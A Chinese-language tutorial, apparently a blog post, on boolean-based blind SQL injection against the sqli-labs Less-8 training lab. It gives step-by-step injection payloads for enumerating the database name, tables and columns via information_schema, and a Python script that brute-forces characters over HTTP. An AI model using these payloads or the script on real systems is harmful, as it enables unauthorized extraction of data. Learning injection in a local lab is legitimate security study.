SQL 注入实战:布尔盲注完整流程与 Python 脚本详解

前言

上一篇文章介绍了布尔盲注的原理与二分查找优化方案。本篇聚焦于完整的手工注入流程线性枚举脚本的实现逻辑,帮助你从"知道原理"到"能够走通完整攻击链路"。

靶场环境使用 sqli-labs,推荐在本地搭建练习:


靶场题目:Less-8

Less-8 是 sqli-labs 中经典的布尔盲注题目。页面特征如下:

  • 查询成功时显示固定字符串(如"You are in...")
  • 查询失败或条件不成立时页面为空
  • 没有任何报错信息,没有数据回显

正是这种"只告诉你对不对、不告诉你答案是什么"的特性,构成了布尔盲注的标准场景。


手工注入:完整流程走一遍

第一步:确认注入点类型

通过尝试不同的闭合符号来判断 SQL 语句的结构:

复制代码
?id=1'         → 页面异常(单引号破坏了 SQL 语句)
?id=1' --+     → 页面恢复正常(注释掉了后半段)
?id=1' and 1--+  → 正常
?id=1' and 0--+  → 异常

and 1 正常、and 0 异常,说明我们的条件语句可以影响查询结果,注入点确认。

第二步:测量数据库名长度

在开始逐字符爆破之前,先确认目标字符串的长度,可以减少无效请求:

sql 复制代码
?id=1' and (select length(database())) = 8 --+

页面正常,说明当前数据库名长度恰好为 8。通过逐个尝试 1、2、3...可以精确定位长度。

第三步:逐字符爆破数据库名

核心思路是用 ascii() 将字符转为数字,再通过等号或大小于号进行比较:

sql 复制代码
-- 判断第1个字符的 ASCII 码是否等于 115(即字母 's')
?id=1' and (select ascii(substr(database(),1,1))) = 115 --+

-- 也可以先用不等式缩小范围
?id=1' and (select ascii(substr(database(),1,1))) < 100 --+

在 MySQL 中,ascii('s') = 115ascii('e') = 101,依此类推,逐位确认后拼出完整库名 security

第四步:爆破表名

库名已知,下一步是枚举库中的表名。需要引入 information_schema 这张 MySQL 的"数据字典":

sql 复制代码
-- 取 security 库中第一张表,检查表名第一个字符
?id=1' and (select ascii(substr(
    (select table_name from information_schema.tables 
     where table_schema='security' limit 0,1)
, 1, 1))) < 115 --+

limit 0,1 表示取第一条结果,改为 limit 1,1 则取第二张表,以此类推枚举所有表。

第五步:爆破字段名与数据

思路完全一致,只是查询目标换成 information_schema.columns,最后再直接查目标表的数据。完整攻击链路可以归纳为:

复制代码
库名 → 表名 → 字段名 → 字段数据

每一步都是对上一步结果的细化,结构清晰、方法统一。


Python 脚本:bool.py 线性枚举版

脚本思路

与上篇的二分查找不同,bool.py 采用线性枚举策略:对每个字符位置,从 ASCII 32 到 126 逐个试探,直到找到匹配的字符。虽然每个字符最多需要发送 95 次请求,但逻辑最直观,便于初学者理解和调试。

脚本核心逻辑如下:

python 复制代码
for i in range(1, 9):          # 遍历字符串的第 1~8 位
    for j in range(32, 127):   # 遍历所有可打印 ASCII 字符
        payload = "?id=1' and ascii(substr(database(),%d,1))=%d --+" % (i, j)
        res = requests.get(url + payload)
        if "You are in..........." in res.text:
            db_name += chr(j)  # 命中,追加字符
            break              # 当前位已找到,跳出内层循环

每轮内层循环一旦命中目标字符,即可 break 跳出,继续下一位的枚举。

两种策略的对比

策略 每字符请求次数(最坏情况) 适用场景
线性枚举(bool.py 最多 95 次 学习调试、字符串较短
二分查找(bool1.py 最多 7 次 生产级利用、长字符串

对于一个 8 位库名,线性版最多发送 760 次请求,二分版只需约 56 次。字段数据往往更长,此时二分查找的优势会更加显著。


关键知识点小结

为什么用 ASCII 码而不直接比较字符?

SQL 中直接比较字符串(如 substr(...)='s')存在大小写不敏感等问题,而 ascii() 返回的是整数,比较结果唯一确定,更加可靠。

information_schema 是什么?

这是 MySQL 内置的元数据库,存储了所有数据库、表、字段的结构信息。只要有查询权限,就可以通过它枚举整个数据库的"目录",这也是 SQL 注入能够获取任意数据的关键所在。

substrsubstring 的区别?

两者完全等价,substr(str, pos, len) 从第 pos 位(从 1 开始)截取 len 个字符。在构造 payload 时可以互换使用。


完整代码与后续

bool.pybool1.py(二分查找版)脚本均已上传至 GitHub,可配合本地搭建的 sqli-labs 靶场直接运行练习。

脚本源码: https://github.com/aqirompt/sqli-labs-bool
脚本源码

下一篇将继续介绍 sqli-labs 中bool-time盲注题目的实战解析和Python脚本。

免责声明:本文内容仅供授权环境下的安全学习与研究,请勿将相关技术用于任何未经授权的系统。

相关推荐
瘾大侠3 小时前
HTB - Kobold
网络·安全·web安全·网络安全
李白你好4 小时前
一个综合性的Web安全学习平台
学习·安全·web安全
聚铭网络5 小时前
聚铭网络参编!T/CCIA 005-2026《网络安全运营大模型参考架构》正式发布
网络·web安全·架构
暮色千里.5325 小时前
多因素认证中的漏洞
网络·安全·web安全
小二·5 小时前
企业级网络安全深度解析:从协议层到云原生的攻防实战与架构设计
安全·web安全·云原生
wanhengidc5 小时前
企业如何有效利用高防服务器
运维·服务器·网络·安全·web安全·智能手机
乐6826 小时前
CISCN2026半决赛wp
python·web安全·php
花纵酒7 小时前
kali:Sqlmap专题
web安全
介一安全7 小时前
【Web安全】HTTP请求走私与CL.TE漏洞从入门到实战
web安全·网络安全·安全性测试·http请求走私